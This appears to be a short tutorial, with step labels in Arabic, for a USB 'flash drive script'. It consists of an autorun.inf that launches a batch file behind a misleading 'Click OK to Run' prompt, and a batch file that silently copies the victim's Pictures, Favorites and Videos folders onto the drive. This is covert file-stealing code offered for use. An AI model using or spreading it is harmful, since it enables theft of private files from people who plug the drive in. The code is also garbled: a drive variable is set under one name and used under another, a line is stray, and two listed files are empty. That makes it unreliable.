Flash Drive Script
Flash Drive Script
[autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shell\open\command=launch.bat
------------------autorun.inf---------------------------
2 # خطوة
@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off
cls
--------------------file.bat------------------------------
3 # خطوة
--------------------invisible.vbs--------------------------
4 # خطوة
----------------------launch.bat-----------------------------